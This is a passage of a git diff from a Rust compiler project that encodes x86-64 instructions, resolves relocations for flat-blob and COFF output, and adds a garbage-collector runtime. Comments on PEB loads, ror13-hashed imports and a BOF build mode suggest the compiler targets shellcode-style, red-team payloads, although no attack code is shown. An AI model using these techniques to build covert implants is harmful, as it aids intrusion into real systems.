exactly what we want for RVAs. + // REX only if any extended reg is used. + if dst.ext() || base.ext() || idx.ext() { + self.rex(false, dst.ext(), idx.ext(), base.ext()); + } + self.emit(0x8B); + debug_assert!(base.lo3() != 0b101, "scale-load with rbp/r13 base needs disp"); + self.modrm(0b00, dst.lo3(), 0b100); + let sib = (0b10 << 6) | (idx.lo3() << 3) | base.lo3(); // scale=4 + self.emit(sib); + } + + /// mov dst32, [base + disp32] (zero-extend into r64; RVA at fixed offset) + pub fn mov_r32_r64disp(&mut self, dst: Reg64, base: Reg64, disp: i32) { + if dst.ext() || base.ext() { + self.rex(false, dst.ext(), false, base.ext()); + } + self.emit(0x8B); + let rm = base.lo3(); + if rm == 0b100 { + self.modrm(0b10, dst.lo3(), 0b100); + self.emit(0x24); + } else { + self.modrm(0b10, dst.lo3(), rm); + } + self.emit32(disp as u32); + } + + /// movzx dst, word ptr [base + idx*2] (REX.W + 0F B7 /r, SIB scale=01) - ordinal table + pub fn movzx_r64_word_base_idx_scale2(&mut self, dst: Reg64, base: Reg64, idx: Reg64) { + self.rex(true, dst.ext(), idx.ext(), base.ext()); + self.emit(0x0F); self.emit(0xB7); + debug_assert!(base.lo3() != 0b101); + self.modrm(0b00, dst.lo3(), 0b100); + let sib = (0b01 << 6) | (idx.lo3() << 3) | base.lo3(); + self.emit(sib); + } + + /// movzx dst, byte ptr [base] (REX.W + 0F B6 /r, mod=00) + pub fn movzx_r64_byte_r64(&mut self, dst: Reg64, base: Reg64) { + self.rex(true, dst.ext(), false, base.ext()); + self.emit(0x0F); self.emit(0xB6); + let rm = base.lo3(); + if rm == 0b101 { + // rbp/r13: need mod=01 disp8=0 + self.modrm(0b01, dst.lo3(), rm); + self.emit(0); + } else if rm == 0b100 { + self.modrm(0b00, dst.lo3(), 0b100); + self.emit(0x24); + } else { + self.modrm(0b00, dst.lo3(), rm); + } + } + + /// movzx dst, word ptr [base + disp32] (REX.W + 0F B7 /r) - UNICODE_STRING.Length + pub fn movzx_r64_word_r64disp(&mut self, dst: Reg64, base: Reg64, disp: i32) { + self.rex(true, dst.ext(), false, base.ext()); + self.emit(0x0F); self.emit(0xB7); + let rm = base.lo3(); + if rm == 0b100 { + self.modrm(0b10, dst.lo3(), 0b100); + self.emit(0x24); + } else { + self.modrm(0b10, dst.lo3(), rm); + } + self.emit32(disp as u32); + } + + /// mov rax, gs:[disp32] (65 48 8B 04 25 disp32) - PEB load on x64 + pub fn mov_rax_gs_qword(&mut self, disp: i32) { + self.emit(0x65); // GS segment override + self.emit(0x48); // REX.W + self.emit(0x8B); + self.emit(0x04); // ModR/M: mod=00 reg=000(rax) rm=100(SIB) + self.emit(0x25); // SIB: scale=00 index=100(none) base=101(disp32 only) + self.emit32(disp as u32); + } + + /// mov r64, [disp32] (REX.W + 8B /r, SIB disp-only form). + /// Pair with emit_seg_prefix for gs:/fs: absolute loads. + pub fn mov_r64_disp32(&mut self, dst: Reg64, disp: i32) { + self.rex(true, dst.ext(), false, false); + self.emit(0x8B); + self.modrm(0b00, dst.lo3(), 0b100); + self.emit(0x25); + self.emit32(disp as u32); + } + + /// mov [disp32], r64 (REX.W + 89 /r). Mirror of mov_r64_disp32. + pub fn mov_disp32_r64(&mut self, disp: i32, src: Reg64) { + self.rex(true, src.ext(), false, false); + self.emit(0x89); + self.modrm(0b00, src.lo3(), 0b100); + self.emit(0x25); + self.emit32(disp as u32); + } + + /// add reg, imm8 (REX.W + 83 /0 ib) - shorter than imm32 form + pub fn add_r64_imm8(&mut self, dst: Reg64, imm: i8) { + self.rex(true, false, false, dst.ext()); + self.emit(0x83); + self.modrm(0b11, 0, dst.lo3()); + self.emit(imm as u8); + } + + /// sub reg, imm8 (REX.W + 83 /5 ib) + pub fn sub_r64_imm8(&mut self, dst: Reg64, imm: i8) { + self.rex(true, false, false, dst.ext()); + self.emit(0x83); + self.modrm(0b11, 5, dst.lo3()); + self.emit(imm as u8); + } + + /// cmp reg, imm32 (REX.W + 81 /7 id) + pub fn cmp_r64_imm32(&mut self, dst: Reg64, imm: i32) { + self.rex(true, false, false, dst.ext()); + self.emit(0x81); + self.modrm(0b11, 7, dst.lo3()); + self.emit32(imm as u32); + } + + /// inc reg (REX.W + FF /0) + pub fn inc_r64(&mut self, dst: Reg64) { + self.rex(true, false, false, dst.ext()); + self.emit(0xFF); + self.modrm(0b11, 0, dst.lo3()); + } + + /// dec reg (REX.W + FF /1) - the inline-asm counterpart to inc. + /// Used by dec rcx etc. inside asm { ... } blocks. + pub fn dec_r64(&mut self, dst: Reg64) { + self.rex(true, false, false, dst.ext()); + self.emit(0xFF); + self.modrm(0b11, 1, dst.lo3()); + } + + /// neg reg (REX.W + F7 /3) - two's-complement negation. + pub fn neg_r64(&mut self, dst: Reg64) { + self.rex(true, false, false, dst.ext()); + self.emit(0xF7); + self.modrm(0b11, 3, dst.lo3()); + } + + /// xor reg, imm32 Size-aware. imm-8-fits uses REX.W + 83 /6 ib + /// (4 bytes), otherwise REX.W + 81 /6 id (7 bytes). Same pattern + /// as add_r64_imm32 / sub_r64_imm32. + pub fn xor_r64_imm32(&mut self, dst: Reg64, imm: i32) { + self.rex(true, false, false, dst.ext()); + if let Ok(imm8) = i8::try_from(imm) { + self.emit(0x83); + self.modrm(0b11, 6, dst.lo3()); + self.emit(imm8 as u8); + } else { + self.emit(0x81); + self.modrm(0b11, 6, dst.lo3()); + self.emit32(imm as u32); + } + } + + /// and reg, imm32 Size-aware companion to and_r64_imm8. + pub fn and_r64_imm32(&mut self, dst: Reg64, imm: i32) { + self.rex(true, false, false, dst.ext()); + if let Ok(imm8) = i8::try_from(imm) { + self.emit(0x83); + self.modrm(0b11, 4, dst.lo3()); + self.emit(imm8 as u8); + } else { + self.emit(0x81); + self.modrm(0b11, 4, dst.lo3()); + self.emit32(imm as u32); + } + } + + /// or reg, imm32 Size-aware companion to or_r64_imm8. + pub fn or_r64_imm32(&mut self, dst: Reg64, imm: i32) { + self.rex(true, false, false, dst.ext()); + if let Ok(imm8) = i8::try_from(imm) { + self.emit(0x83); + self.modrm(0b11, 1, dst.lo3()); + self.emit(imm8 as u8); + } else { + self.emit(0x81); + self.modrm(0b11, 1, dst.lo3()); + self.emit32(imm as u32); + } + } + + /// push imm32 (68 id) - push a sign-extended 32-bit immediate. + /// Useful inside asm blocks for push 0x1234-style scratch values. + pub fn push_imm32(&mut self, imm: i32) { + self.emit(0x68); + self.emit32(imm as u32); + } + + /// int 3 (CC) - debugger trap. Surfaces in entc-debug as a + /// breakpoint stop, lets users plant explicit traps inline. + pub fn int3(&mut self) { self.emit(0xCC); } + + pub fn syscall_(&mut self) { self.emit(0x0F); self.emit(0x05); } + + + /// mov byte ptr [base + disp32], r8 (88 /r) + /// Writes the LOW BYTE of src. For source rax this is al. + pub fn mov_byte_r64disp_r8(&mut self, base: Reg64, disp: i32, src: Reg64) { + let need_rex = src.ext() || base.ext() || + matches!(src, Reg64::Rsp | Reg64::Rbp | Reg64::Rsi | Reg64::Rdi); + if need_rex { + self.rex(false, src.ext(), false, base.ext()); + } + self.emit(0x88); + let rm = base.lo3(); + if rm == 0b100 { + self.modrm(0b10, src.lo3(), 0b100); + self.emit(0x24); + } else { + self.modrm(0b10, src.lo3(), rm); + } + self.emit32(disp as u32); + } + + /// mov word ptr [base + disp32], r16 (66 + 89 /r) - low 16 bits of src + pub fn mov_word_r64disp_r16(&mut self, base: Reg64, disp: i32, src: Reg64) { + self.emit(0x66); // operand-size override to 16-bit operand + if src.ext() || base.ext() { + self.rex(false, src.ext(), false, base.ext()); + } + self.emit(0x89); + let rm = base.lo3(); + if rm == 0b100 { + self.modrm(0b10, src.lo3(), 0b100); + self.emit(0x24); + } else { + self.modrm(0b10, src.lo3(), rm); + } + self.emit32(disp as u32); + } + + /// mov dword ptr [base + disp32], r32 (89 /r without REX.W) - low 32 + pub fn mov_dword_r64disp_r32(&mut self, base: Reg64, disp: i32, src: Reg64) { + if src.ext() || base.ext() { + self.rex(false, src.ext(), false, base.ext()); + } + self.emit(0x89); + let rm = base.lo3(); + if rm == 0b100 { + self.modrm(0b10, src.lo3(), 0b100); + self.emit(0x24); + } else { + self.modrm(0b10, src.lo3(), rm); + } + self.emit32(disp as u32); + } + + fn scale_bits(scale: u32) -> u8 { + match scale { + 1 => 0b00, + 2 => 0b01, + 4 => 0b10, + 8 => 0b11, + _ => panic!("indexed addressing supports scales 1/2/4/8 only (got {scale})"), + } + } + + fn modrm_sib_base_idx(&mut self, reg_field: u8, base: Reg64, idx: Reg64, scale: u32) { + let s = Self::scale_bits(scale); + let base_lo = base.lo3(); + let sib = (s << 6) | (idx.lo3() << 3) | base_lo; + if base_lo == 0b101 { + // rbp/r13 base requires explicit disp (mod=01, disp8=0). + self.modrm(0b01, reg_field, 0b100); + self.emit(sib); + self.emit(0); + } else { + self.modrm(0b00, reg_field, 0b100); + self.emit(sib); + } + } + + /// movzx dst, byte ptr [base + idx*1] (REX + 0F B6 /r, SIB scale=00) + pub fn movzx_r64_byte_base_idx(&mut self, dst: Reg64, base: Reg64, idx: Reg64) { + self.rex(true, dst.ext(), idx.ext(), base.ext()); + self.emit(0x0F); self.emit(0xB6); + self.modrm_sib_base_idx(dst.lo3(), base, idx, 1); + } + + /// movzx dst, word ptr [base + idx*2] (REX + 0F B7 /r, SIB scale=01) + pub fn movzx_r64_word_base_idx(&mut self, dst: Reg64, base: Reg64, idx: Reg64) { + self.rex(true, dst.ext(), idx.ext(), base.ext()); + self.emit(0x0F); self.emit(0xB7); + self.modrm_sib_base_idx(dst.lo3(), base, idx, 2); + } + + /// mov dst32, [base + idx*4] (8B /r, SIB scale=10) - zero-extends into r64 + pub fn mov_r32_base_idx(&mut self, dst: Reg64, base: Reg64, idx: Reg64) { + if dst.ext() || base.ext() || idx.ext() { + self.rex(false, dst.ext(), idx.ext(), base.ext()); + } + self.emit(0x8B); + self.modrm_sib_base_idx(dst.lo3(), base, idx, 4); + } + + /// mov dst, qword ptr [base + idx*8] (REX.W + 8B /r, SIB scale=11) + pub fn mov_r64_base_idx(&mut self, dst: Reg64, base: Reg64, idx: Reg64) { + self.rex(true, dst.ext(), idx.ext(), base.ext()); + self.emit(0x8B); + self.modrm_sib_base_idx(dst.lo3(), base, idx, 8); + } + + /// mov byte ptr [base + idx*1], src (88 /r, SIB scale=00) - low byte of src + pub fn mov_byte_base_idx_r8(&mut self, base: Reg64, idx: Reg64, src: Reg64) { + // 8-bit destination. REX needed if any extended reg, or src is + // rsp/rbp/rsi/rdi (whose 8-bit form is spl/bpl/sil/dil and requires REX). + let need_rex = src.ext() || base.ext() || idx.ext() || + matches!(src, Reg64::Rsp | Reg64::Rbp | Reg64::Rsi | Reg64::Rdi); + if need_rex { + self.rex(false, src.ext(), idx.ext(), base.ext()); + } + self.emit(0x88); + self.modrm_sib_base_idx(src.lo3(), base, idx, 1); + } + + /// mov word ptr [base + idx*2], src (66 89 /r, SIB scale=01) - low 16 of src + pub fn mov_word_base_idx_r16(&mut self, base: Reg64, idx: Reg64, src: Reg64) { + self.emit(0x66); + if src.ext() || base.ext() || idx.ext() { + self.rex(false, src.ext(), idx.ext(), base.ext()); + } + self.emit(0x89); + self.modrm_sib_base_idx(src.lo3(), base, idx, 2); + } + + /// mov dword ptr [base + idx*4], src (89 /r, SIB scale=10) - low 32 of src + pub fn mov_dword_base_idx_r32(&mut self, base: Reg64, idx: Reg64, src: Reg64) { + if src.ext() || base.ext() || idx.ext() { + self.rex(false, src.ext(), idx.ext(), base.ext()); + } + self.emit(0x89); + self.modrm_sib_base_idx(src.lo3(), base, idx, 4); + } + + /// mov qword ptr [base + idx*8], src (REX.W + 89 /r, SIB scale=11) + pub fn mov_qword_base_idx_r64(&mut self, base: Reg64, idx: Reg64, src: Reg64) { + self.rex(true, src.ext(), idx.ext(), base.ext()); + self.emit(0x89); + self.modrm_sib_base_idx(src.lo3(), base, idx, 8); + } + + /// lea dst, [base + idx*scale] (REX.W + 8D /r) - generalised form + /// used to take the address of arr[i] for &-of or pointer arithmetic. + pub fn lea_r64_base_idx_scale(&mut self, dst: Reg64, base: Reg64, idx: Reg64, scale: u32) { + self.rex(true, dst.ext(), idx.ext(), base.ext()); + self.emit(0x8D); + self.modrm_sib_base_idx(dst.lo3(), base, idx, scale); + } + + /// movzx r64, byte ptr [base + disp32] (REX.W + 0F B6 /r) + pub fn movzx_r64_byte_r64disp(&mut self, dst: Reg64, base: Reg64, disp: i32) { + self.rex(true, dst.ext(), false, base.ext()); + self.emit(0x0F); self.emit(0xB6); + let rm = base.lo3(); + if rm == 0b100 { + self.modrm(0b10, dst.lo3(), 0b100); + self.emit(0x24); + } else { + self.modrm(0b10, dst.lo3(), rm); + } + self.emit32(disp as u32); + } + + // Inline-asm-only instructions. Not used by the high-level codegen. + + /// Emit a segment-override prefix (0x64 = FS, 0x65 = GS). + /// Must precede the REX byte of the targeted instruction. + pub fn emit_seg_prefix(&mut self, seg: Segment) { + self.emit(seg.prefix()); + } + + /// cmovcc dst, src (REX.W + 0F 4_ /r) - branchless conditional move. + pub fn cmovcc_r64_r64(&mut self, cond: Cond, dst: Reg64, src: Reg64) { + self.rex(true, dst.ext(), false, src.ext()); + self.emit(0x0F); + self.emit(0x40 | cond.nibble()); + self.modrm(0b11, dst.lo3(), src.lo3()); + } + + /// rol r64, imm8 (REX.W + C1 /0 ib) + pub fn rol_r64_imm8(&mut self, dst: Reg64, imm: u8) { + self.rex(true, false, false, dst.ext()); + self.emit(0xC1); + self.modrm(0b11, 0, dst.lo3()); + self.emit(imm); + } + + /// rol r64, cl (REX.W + D3 /0) + pub fn rol_r64_cl(&mut self, dst: Reg64) { + self.rex(true, false, false, dst.ext()); + self.emit(0xD3); + self.modrm(0b11, 0, dst.lo3()); + } + + /// ror r64, imm8 (REX.W + C1 /1 ib) - used by ror13 hashed imports. + pub fn ror_r64_imm8(&mut self, dst: Reg64, imm: u8) { + self.rex(true, false, false, dst.ext()); + self.emit(0xC1); + self.modrm(0b11, 1, dst.lo3()); + self.emit(imm); + } + + /// ror r64, cl (REX.W + D3 /1) + pub fn ror_r64_cl(&mut self, dst: Reg64) { + self.rex(true, false, false, dst.ext()); + self.emit(0xD3); + self.modrm(0b11, 1, dst.lo3()); + } + + /// movsx r64, byte ptr [base + disp32] (REX.W + 0F BE /r) + pub fn movsx_r64_byte_r64disp(&mut self, dst: Reg64, base: Reg64, disp: i32) { + self.rex(true, dst.ext(), false, base.ext()); + self.emit(0x0F); self.emit(0xBE); + let rm = base.lo3(); + if rm == 0b100 { + self.modrm(0b10, dst.lo3(), 0b100); + self.emit(0x24); + } else { + self.modrm(0b10, dst.lo3(), rm); + } + self.emit32(disp as u32); + } + + /// movsx r64, word ptr [base + disp32] (REX.W + 0F BF /r) + pub fn movsx_r64_word_r64disp(&mut self, dst: Reg64, base: Reg64, disp: i32) { + self.rex(true, dst.ext(), false, base.ext()); + self.emit(0x0F); self.emit(0xBF); + let rm = base.lo3(); + if rm == 0b100 { + self.modrm(0b10, dst.lo3(), 0b100); + self.emit(0x24); + } else { + self.modrm(0b10, dst.lo3(), rm); + } + self.emit32(disp as u32); + } + + /// movsxd r64, dword ptr [base + disp32] (REX.W + 63 /r) + pub fn movsxd_r64_r64disp(&mut self, dst: Reg64, base: Reg64, disp: i32) { + self.rex(true, dst.ext(), false, base.ext()); + self.emit(0x63); + let rm = base.lo3(); + if rm == 0b100 { + self.modrm(0b10, dst.lo3(), 0b100); + self.emit(0x24); + } else { + self.modrm(0b10, dst.lo3(), rm); + } + self.emit32(disp as u32); + } + + /// movsxd r64, r32 (REX.W + 63 /r, mod=11) + pub fn movsxd_r64_r64(&mut self, dst: Reg64, src: Reg64) { + self.rex(true, dst.ext(), false, src.ext()); + self.emit(0x63); + self.modrm(0b11, dst.lo3(), src.lo3()); + } + + /// xchg r64, r64 (REX.W + 87 /r) - atomic register swap. + pub fn xchg_r64_r64(&mut self, a: Reg64, b: Reg64) { + self.rex(true, a.ext(), false, b.ext()); + self.emit(0x87); + self.modrm(0b11, a.lo3(), b.lo3()); + } + + /// bswap r64 (REX.W + 0F C8+rd) - byte-swap. + pub fn bswap_r64(&mut self, dst: Reg64) { + self.rex(true, false, false, dst.ext()); + self.emit(0x0F); + self.emit(0xC8 + dst.lo3()); + } + + + pub fn finalize(mut self) -> Result, String> { + while self.code.len() & 7 != 0 { + self.code.push(0x90); + } + let code_len = self.code.len(); + let rdata_off = code_len; + let data_off = rdata_off + self.rdata.len(); + let bss_off = data_off + self.data.len(); + + // Shift each label by its section's base offset so they become + // absolute offsets inside the combined blob. + for (_n, off) in self.rdata_labels.iter_mut() { *off += rdata_off; } + for (_n, off) in self.data_labels.iter_mut() { *off += data_off; } + for (_n, off) in self.bss_labels.iter_mut() { *off += bss_off; } + + self.code.extend_from_slice(&self.rdata); + self.code.extend_from_slice(&self.data); + // .bss flattens to its zero-fill in standard mode so the + // single-buffer launcher model keeps working. + self.code.resize(self.code.len() + self.bss_size, 0); + + for r in &self.relocs { + let target_off = match &r.target { + RelocTarget::Code(n) => *self.code_labels.get(n) + .ok_or_else(|| format!("unresolved code label: {n}"))?, + RelocTarget::Data(n) => self.rdata_labels.get(n) + .or_else(|| self.data_labels.get(n)) + .or_else(|| self.bss_labels.get(n)) + .copied() + .ok_or_else(|| format!("unresolved data label: {n}"))?, + RelocTarget::External(n) => { + return Err(format!( + "external symbol `{n}` referenced in --type=standard build. \ + External symbols are only valid in `--type=bof|coff`." + )); + } + }; + // rel32 is computed from the byte AFTER the displacement field. + let next_ip = (r.patch_at + 4) as i64; + let rel = target_off as i64 - next_ip; + if rel < i32::MIN as i64 || rel > i32::MAX as i64 { + return Err("rel32 out of range".into()); + } + let bytes = (rel as i32 as u32).to_le_bytes(); + self.code[r.patch_at..r.patch_at + 4].copy_from_slice(&bytes); + } + Ok(self.code) + } + + pub fn finalize_for_coff(mut self) -> Result { + let code_len = self.code.len(); + let mut externals: Vec = Vec::new(); + let mut data_relocs: Vec = Vec::new(); + + for r in &self.relocs { + match &r.target { + RelocTarget::Code(n) => { + let target_off = *self.code_labels.get(n) + .ok_or_else(|| format!("unresolved code label: {n}"))?; + let next_ip = (r.patch_at + 4) as i64; + let rel = target_off as i64 - next_ip; + if rel < i32::MIN as i64 || rel > i32::MAX as i64 { + return Err("rel32 out of range".into()); + } + let bytes = (rel as i32 as u32).to_le_bytes(); + self.code[r.patch_at..r.patch_at + 4].copy_from_slice(&bytes); + } + RelocTarget::Data(n) => { + // Look the label up across each data-like section. + // Whichever holds it dictates the section symbol the + // emitter uses for the relocation. + let (offset, section) = + if let Some(&off) = self.rdata_labels.get(n) { + (off as u32, DataSection::Rdata) + } else if let Some(&off) = self.data_labels.get(n) { + (off as u32, DataSection::Data) + } else if let Some(&off) = self.bss_labels.get(n) { + (off as u32, DataSection::Bss) + } else { + return Err(format!("unresolved data label: {n}")); + }; + // Write the in-section offset to the patch site as + // the relocation addend. + let bytes = offset.to_le_bytes(); + self.code[r.patch_at..r.patch_at + 4].copy_from_slice(&bytes); + data_relocs.push(DataReloc { + at: r.patch_at as u32, + section, + }); + } + RelocTarget::External(n) => { + externals.push(ExternalReloc { + at: r.patch_at as u32, + sym: n.clone(), + }); + } + } + } + + Ok(CoffArtifact { + text: self.code, + rdata: self.rdata, + data: self.data, + bss_size: self.bss_size, + text_size: code_len, + externals, + data_relocs, + code_labels: self.code_labels, + }) + } +} + +/// One external relocation collected during finalize_for_coff. The +/// COFF emitter (src/coff.rs) turns these into REL32 entries against +/// the artifact's symbol table. +#[derive(Debug, Clone)] +pub struct ExternalReloc { + pub at: u32, + pub sym: String, +} + +#[derive(Debug, Clone)] +pub struct DataReloc { + pub at: u32, + pub section: DataSection, +} + +/// Output of finalize_for_coff. Carries the still-separate sections +/// plus the metadata the COFF emitter needs to build a valid .obj. +#[derive(Debug)] +pub struct CoffArtifact { + /// Patched .text bytes (internal labels resolved; external rel32 + /// fields zeroed for the loader to fill in). + pub text: Vec, + /// Read-only initialised data - string literals, format templates, + /// DLL names. Lands in .rdata. + pub rdata: Vec, + /// Mutable initialised data - .data. Empty in current use; the + /// codegen still routes static initialisers through .bss + an + /// init-replay sequence. + pub data: Vec, + /// Size of the .bss section (zero-filled by the loader). Import + /// slots, format buffers, static slots all are placed here. + pub bss_size: usize, + pub text_size: usize, + pub externals: Vec, + /// Cross-section relocations from .text into one of the + /// data-like sections. Each carries the target section so the + /// emitter writes against the right section symbol. + pub data_relocs: Vec, + /// Code-section labels - function start offsets within .text. + /// codegen uses this map to find go's offset for the symbol + /// table entry. + pub code_labels: HashMap, +} diff --git a/src/gc.rs b/src/gc.rs new file mode 100644 index 0000000..750f03e --- /dev/null +++ b/src/gc.rs @@ -0,0 +1,295 @@ + +use crate::encoder::{Cond, Encoder, Reg64}; +use crate::macros::GC_ALLOC_FN; + +pub const HEAP_BASE: &str = "__gc_heap"; +pub const HEAP_NEXT: &str = "__gc_next"; +pub const HEAP_END: &str = "__gc_end"; +pub const FREELIST: &str = "__gc_freelist"; +pub const STACK_TOP: &str = "__gc_stack_top"; + +/// Heap size in bytes. Embedded in the binary regardless of use. +pub const DEFAULT_HEAP_BYTES: usize = 4 * 1024; + +// Header flag bits (low 3 bits of the size word). +const FLAG_MARK: i8 = 0b001; +const FLAG_FREE: i8 = 0b010; + +// and r, -2 clears bit 0. free is never cleared in isolation - sweep +// rewrites the header wholesale. +const CLEAR_MARK_MASK: i8 = !FLAG_MARK; + +pub fn emit_runtime(enc: &mut Encoder) { + enc.add_bss(HEAP_NEXT, 8); // bump cursor + enc.add_bss(HEAP_END, 8); // bump limit (heap + SIZE) + enc.add_bss(FREELIST, 8); // head of free list (or 0) + enc.add_bss(STACK_TOP, 8); // captured rsp from main + enc.add_bss(HEAP_BASE, DEFAULT_HEAP_BYTES); + + emit_init(enc); + emit_alloc(enc); + emit_try_alloc(enc); + emit_collect(enc); + emit_mark_range(enc); +} + +// __gc_init: called once from main's prologue. Sets heap bounds and +// clears the freelist. __gc_stack_top is captured separately in main. +fn emit_init(enc: &mut Encoder) { + enc.place_code_label("__gc_init"); + enc.lea_r64_data(Reg64::Rax, HEAP_BASE); + enc.mov_data_r64(HEAP_NEXT, Reg64::Rax); + enc.add_r64_imm32(Reg64::Rax, DEFAULT_HEAP_BYTES as i32); + enc.mov_data_r64(HEAP_END, Reg64::Rax); + enc.xor_r64_r64(Reg64::Rax, Reg64::Rax); + enc.mov_data_r64(FREELIST, Reg64::Rax); + enc.ret(); +} + +// __gc_alloc: public entry. Round + header, try, collect-and-retry on +// miss, 0 on OOM. +fn emit_alloc(enc: &mut Encoder) { + enc.place_code_label(GC_ALLOC_FN); + + // rcx += 15 (round + header). add r, imm8 (4 bytes). + enc.add_r64_imm32(Reg64::Rcx, 15); + // rcx &= -8. + enc.and_r64_imm8(Reg64::Rcx, -8); + + enc.call_label("__gc_try_alloc"); + enc.test_r64_r64(Reg64::Rax, Reg64::Rax); + enc.jcc_label(Cond::Nz, "__gc_alloc_done"); + + // Collect-and-retry. Stack rcx because every scratch register is + // clobbered by the collector. Push/pop runs only on the failure + // path; success returns earlier with balanced stack. + enc.push_r64(Reg64::Rcx); + enc.call_label("__gc_collect"); + enc.pop_r64(Reg64::Rcx); + enc.call_label("__gc_try_alloc"); + + enc.place_code_label("__gc_alloc_done"); + enc.ret(); +} + +// __gc_try_alloc: first-fit over the freelist, fall through to bump, +// fall through to OOM. Caller passes rounded total (header included) +// in rcx. Returns user pointer (header+8) in rax, or 0. +fn emit_try_alloc(enc: &mut Encoder) { + enc.place_code_label("__gc_try_alloc"); + + // rax = freelist head; rdx = NULL (prev). + enc.mov_r64_data(Reg64::Rax, FREELIST); + enc.xor_r64_r64(Reg64::Rdx, Reg64::Rdx); + + enc.place_code_label("__gc_fl_loop"); + enc.test_r64_r64(Reg64::Rax, Reg64::Rax); + enc.jcc_label(Cond::Z, "__gc_try_bump"); + + // r8 = header at [rax], r8 = size (flags masked off). + enc.mov_r64_r64disp(Reg64::R8, Reg64::Rax, 0); + enc.and_r64_imm8(Reg64::R8, -8); + // Need at least rcx bytes? Unsigned compare. + enc.cmp_r64_r64(Reg64::R8, Reg64::Rcx); + enc.jcc_label(Cond::B, "__gc_fl_next"); + + // Big enough. Unlink from free list. r9 = next-free pointer. + enc.mov_r64_r64disp(Reg64::R9, Reg64::Rax, 8); + enc.test_r64_r64(Reg64::Rdx, Reg64::Rdx); + enc.jcc_label(Cond::Z, "__gc_fl_head"); + enc.mov_r64disp_r64(Reg64::Rdx, 8, Reg64::R9); + enc.jmp_label("__gc_fl_use"); + enc.place_code_label("__gc_fl_head"); + enc.mov_data_r64(FREELIST, Reg64::R9); + + enc.place_code_label("__gc_fl_use"); + // Header = original block size, flag bits cleared. No split on + // partial fit; accepts internal fragmentation for a smaller hot path. + enc.mov_r64disp_r64(Reg64::Rax, 0, Reg64::R8); + enc.add_r64_imm32(Reg64::Rax, 8); + enc.ret(); + + enc.place_code_label("__gc_fl_next"); + enc.mov_r64_r64(Reg64::Rdx, Reg64::Rax); + enc.mov_r64_r64disp(Reg64::Rax, Reg64::Rax, 8); + enc.jmp_label("__gc_fl_loop"); + + enc.place_code_label("__gc_try_bump"); + enc.mov_r64_data(Reg64::Rax, HEAP_NEXT); + enc.mov_r64_r64(Reg64::R9, Reg64::Rax); + enc.add_r64_r64(Reg64::R9, Reg64::Rcx); + enc.mov_r64_data(Reg64::R8, HEAP_END); + enc.cmp_r64_r64(Reg64::R9, Reg64::R8); + // ja: unsigned strictly above (heap_next + size > end to OOM). + enc.jcc_label(Cond::A, "__gc_oom"); + enc.mov_data_r64(HEAP_NEXT, Reg64::R9); + enc.mov_r64disp_r64(Reg64::Rax, 0, Reg64::Rcx); + enc.add_r64_imm32(Reg64::Rax, 8); + enc.ret(); + + enc.place_code_label("__gc_oom"); + enc.xor_r64_r64(Reg64::Rax, Reg64::Rax); + enc.ret(); +} + +fn emit_collect(enc: &mut Encoder) { + enc.place_code_label("__gc_collect"); + + // Save callee-saved registers (Win64 NV set). + enc.push_r64(Reg64::Rbx); + enc.push_r64(Reg64::Rbp); + enc.push_r64(Reg64::Rdi); + enc.push_r64(Reg64::Rsi); + enc.push_r64(Reg64::R12); + enc.push_r64(Reg64::R13); + enc.push_r64(Reg64::R14); + enc.push_r64(Reg64::R15); + + // rax = current block, r8 = heap_next (one-past-last-block) + enc.lea_r64_data(Reg64::Rax, HEAP_BASE); + enc.mov_r64_data(Reg64::R8, HEAP_NEXT); + + enc.place_code_label("__gc_clear"); + enc.cmp_r64_r64(Reg64::Rax, Reg64::R8); + enc.jcc_label(Cond::Ae, "__gc_mark_init"); + enc.mov_r64_r64disp(Reg64::Rcx, Reg64::Rax, 0); + enc.mov_r64_r64(Reg64::Rdx, Reg64::Rcx); + enc.and_r64_imm8(Reg64::Rdx, -8); // rdx = size + enc.and_r64_imm8(Reg64::Rcx, CLEAR_MARK_MASK); // clear mark + enc.mov_r64disp_r64(Reg64::Rax, 0, Reg64::Rcx); + enc.add_r64_r64(Reg64::Rax, Reg64::Rdx); + enc.jmp_label("__gc_clear"); + + enc.place_code_label("__gc_mark_init"); + enc.mov_r64_r64(Reg64::Rsi, Reg64::Rsp); + enc.mov_r64_data(Reg64::Rdi, STACK_TOP); + enc.call_label("__gc_mark_range"); + + enc.place_code_label("__gc_transitive"); + enc.xor_r64_r64(Reg64::Rbx, Reg64::Rbx); // change-count + enc.lea_r64_data(Reg64::Rax, HEAP_BASE); + + enc.place_code_label("__gc_t_loop"); + enc.mov_r64_data(Reg64::R8, HEAP_NEXT); + enc.cmp_r64_r64(Reg64::Rax, Reg64::R8); + enc.jcc_label(Cond::Ae, "__gc_t_done"); + enc.mov_r64_r64disp(Reg64::Rcx, Reg64::Rax, 0); // header + enc.mov_r64_r64(Reg64::Rdx, Reg64::Rcx); + enc.and_r64_imm8(Reg64::Rdx, -8); // rdx = size + // Marked? + enc.mov_r64_r64(Reg64::R9, Reg64::Rcx); + enc.and_r64_imm8(Reg64::R9, FLAG_MARK); + enc.test_r64_r64(Reg64::R9, Reg64::R9); + enc.jcc_label(Cond::Z, "__gc_t_next"); + // Marked: scan payload [rax+8 .. rax+size). + enc.push_r64(Reg64::Rax); + enc.push_r64(Reg64::Rdx); + enc.push_r64(Reg64::Rbx); + enc.mov_r64_r64(Reg64::Rsi, Reg64::Rax); + enc.add_r64_imm32(Reg64::Rsi, 8); + enc.mov_r64_r64(Reg64::Rdi, Reg64::Rax); + enc.add_r64_r64(Reg64::Rdi, Reg64::Rdx); + enc.call_label("__gc_mark_range"); // returns rax = #newly-marked + enc.pop_r64(Reg64::Rbx); + enc.add_r64_r64(Reg64::Rbx, Reg64::Rax); + enc.pop_r64(Reg64::Rdx); + enc.pop_r64(Reg64::Rax); + + enc.place_code_label("__gc_t_next"); + enc.add_r64_r64(Reg64::Rax, Reg64::Rdx); + enc.jmp_label("__gc_t_loop"); + + enc.place_code_label("__gc_t_done"); + enc.test_r64_r64(Reg64::Rbx, Reg64::Rbx); + enc.jcc_label(Cond::Nz, "__gc_transitive"); + + enc.lea_r64_data(Reg64::Rax, HEAP_BASE); + enc.xor_r64_r64(Reg64::R11, Reg64::R11); // new freelist head + + enc.place_code_label("__gc_sweep_loop"); + enc.mov_r64_data(Reg64::R8, HEAP_NEXT); + enc.cmp_r64_r64(Reg64::Rax, Reg64::R8); + enc.jcc_label(Cond::Ae, "__gc_sweep_done"); + enc.mov_r64_r64disp(Reg64::Rcx, Reg64::Rax, 0); + enc.mov_r64_r64(Reg64::Rdx, Reg64::Rcx); + enc.and_r64_imm8(Reg64::Rdx, -8); + enc.mov_r64_r64(Reg64::R9, 